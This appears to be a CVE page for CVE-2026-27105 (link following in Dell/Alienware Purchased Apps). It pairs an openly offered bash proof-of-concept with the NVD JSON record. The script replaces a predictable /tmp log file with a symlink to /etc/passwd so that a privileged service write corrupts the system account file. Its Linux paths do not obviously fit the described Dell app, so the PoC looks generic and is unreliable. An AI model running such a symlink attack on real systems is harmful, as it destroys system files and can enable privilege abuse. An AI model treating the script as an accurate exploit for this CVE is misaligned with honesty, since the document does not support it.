CVE-2026-27105

#!/bin/bash # PoC for CVE-2026-27105: Improper Link Resolution Before File Access # This script demonstrates a symlink attack scenario. # The vulnerable app attempts to write to a predictable path. VULNERABLE_PATH="/tmp/dell_app_update.log" TARGET_FILE="/etc/passwd" # Example target to overwrite echo "[*] Checking for vulnerable path..." if [ -e "$VULNERABLE_PATH" ]; then echo "[-] Path exists. Removing it for PoC." rm -f "$VULNERABLE_PATH" fi echo "[*] Creating symbolic link from $VULNERABLE_PATH to $TARGET_FILE" ln -s $TARGET_FILE $VULNERABLE_PATH echo "[*] Symbolic link created successfully." echo "[*] Wait for or trigger the Dell/Alienware Purchased Apps service update task." echo "[*] When the service writes to $VULNERABLE_PATH, $TARGET_FILE will be corrupted." ls -la $VULNERABLE_PATH

{"cve": {"id": "CVE-2026-27105", "sourceIdentifier": "[email protected]", "published": "2026-04-29T19:16:22.910", "lastModified": "2026-05-05T12:37:35.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell/Alienware Purchased Apps, versions prior to 1.1.31.0, contain an Improper Link Resolution Before File Access ('Link Following') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Arbitrary File Write"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:dell\\/alienware_purchased_apps:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.31.0", "matchCriteriaId": "DEB524FB-034C-47E9-B37D-BAE3DC172A28"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000438321/dsa-2026-131-security-update-for-dell-alienware-purchased-apps-for-an-improper-link-resolution-before-file-access-vulnerability", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}